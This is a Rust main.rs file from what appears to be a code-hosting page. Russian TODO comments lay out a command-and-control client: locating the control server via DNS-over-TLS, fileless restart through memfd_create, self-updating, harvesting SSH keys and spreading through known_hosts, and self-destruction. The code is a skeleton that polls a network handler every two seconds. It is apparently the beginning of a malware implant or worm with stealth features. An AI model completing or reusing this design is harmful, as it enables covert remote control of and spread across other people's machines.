You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
32 lines
910 B
32 lines
910 B
// TODO: |
|
// поддержка питона |
|
// резолв адреса управляющего сервера через DoT |
|
// кроссплатформенность (реализовать интерфейс для винды и никсов) |
|
// перезапуск через memfd_create |
|
// проверка обнов |
|
// проверка ssh ключей и распространение через known_hosts |
|
// самоуничтожение |
|
|
|
//mod jobs; |
|
|
|
//use std::process::Command; |
|
use std::thread::sleep; |
|
use std::time::Duration; |
|
|
|
mod network; |
|
use network::ClientHandler; |
|
|
|
#[tokio::main] |
|
async fn main() { |
|
//daemonize(); |
|
let instance = ClientHandler::new(); |
|
instance.init().await; |
|
loop { |
|
instance.list().await; |
|
sleep(Duration::from_secs(2)); |
|
/*Command::new("touch") |
|
.arg("/tmp/win2") |
|
.output() |
|
.unwrap();*/ |
|
} |
|
}
|
|
|